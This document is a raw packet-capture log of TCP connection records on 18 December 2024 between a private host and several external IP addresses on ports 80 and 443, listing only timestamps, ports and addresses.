Dec 18, 2024 19:08:53.614943027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.615561008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.615608931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.617060900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.617146015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.617199898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.619029999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.619077921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.619688988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.619730949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.621160030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.621285915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.621331930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.623368979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.623450041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.623476982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.623536110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.625614882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.626015902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.626072884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.627798080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.627952099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.628002882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.628034115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.629909039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.630111933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.630170107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.632150888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.632194042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.632277012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.634291887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.634340048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.634387016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.634427071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.636416912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.636677980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.636734962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.638529062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.638576984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.638603926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.638641119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.640717983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.640868902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.640923977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.642911911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.642966986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.643094063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.643140078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.645091057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.645757914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.645812035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.647238970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.647284985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.647567987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.647613049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.649584055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.649744034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.649780989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.651607037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.651653051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.652064085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.652106047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.653772116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.654066086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.654112101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.655956984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.656003952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.656084061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.656124115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.658246040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.658512115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.658560991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.660475016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.660708904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.660753012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.662842989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.662894964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.663184881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.663229942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.664757967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.664936066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.664988995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.666845083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.666893959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.668384075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.669018030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.669081926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.669140100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.669183016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.671185017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.671236992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.671430111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.671473026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.673438072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.673537016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.673590899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.675744057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.675821066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.675997019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.676043034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.677746058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.677849054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.677906036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.679922104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.679970980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.680278063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.682127953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.682178020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.682732105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.682775974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.684308052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.684909105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.684962988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.686505079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.686558008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.686628103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.686672926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.688721895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.689084053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.689160109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.690797091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.690857887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.691359997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.691414118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.692965031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.693090916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.693171024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.695182085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.695247889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.695280075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.695338964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.697302103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.698069096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.698127985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.699475050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.699552059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.700170040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.700253010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.701689005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.701741934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.702162981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.702207088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.703919888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.704102039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.704147100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.706029892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.707345963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.707405090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.708235025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.708363056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.708405972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.710381985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.710428953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.710788965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.710829020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.712553024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.712845087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.712913990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.714828968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.714879036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.714890003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.714922905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.716903925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.717113972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.717184067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.719132900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.719188929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.719410896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.719449997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.721437931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.721510887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.721568108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.723414898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.723463058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.723540068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.723587036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.725565910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.725718021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.725765944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.727895021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.727942944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.727967024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.728009939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.730456114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.730803013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.730859041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.733078003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.733678102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.733726978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.735343933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.735395908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.735562086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.735606909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.737246037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.737337112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.737389088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.739275932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.739346981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.739366055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.739428043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.741067886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.741770029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.741816998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.743010044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.743056059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.743114948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.743161917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.745256901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.745440960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.745486975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.747343063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.747400999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.747426987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.747471094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.749556065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.750657082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.750703096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.751701117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.751749039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.752218008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.752269030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.753978968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.754028082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.754096031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.754139900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.756063938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.756112099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.756136894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.756181955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.758292913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.758922100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.758970976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.760413885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.760534048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.760584116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.762629986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.762681007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.762712002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.762758017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.764889956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.765012980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.765063047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.766917944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.766966105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.767096043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.767143965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.769134045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.769253969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.769309044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.771262884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.771321058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.771477938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.771539927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.773523092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.774147034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.774194956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.775679111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.775734901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.775796890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.775832891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.777802944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.778351068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.778400898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.779968023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.780018091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.780139923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.780184984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.782175064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.782285929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.782336950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.784466982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.784487009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.784534931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.786508083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.786588907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.786623001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.786667109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.788700104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.789200068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.789254904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.790941000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.790988922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.791014910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.791059017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.793057919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.793327093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.793373108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.795262098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.795316935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.795332909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.795382023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.797403097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.797728062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.797775984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.799591064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.799643040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.799674034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.799720049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.801745892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.801846981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.801904917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.804126024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.804178953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.804775953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.806303024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.806360960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.806370020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.806406975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.808300972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.808702946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.808753014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.810461998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.810524940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.810580969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.810626030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.812649012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.812700987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.812755108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:54.583019972 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:54.583121061 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:54.583250046 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:54.583667040 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:54.583683968 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:54.583695889 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:54.583700895 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:55.585805893 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:55.585855007 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:55.585928917 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:55.603909016 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:55.603946924 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:56.215730906 CET	49735	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:56.220473051 CET	49745	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:56.336313963 CET	80	49735	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:56.336393118 CET	49735	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:56.340382099 CET	80	49745	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:56.340518951 CET	49745	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:56.354602098 CET	49745	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:56.476618052 CET	80	49745	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:57.358062983 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:57.358650923 CET	49744	443	192.168.2.5	98.85.100.80
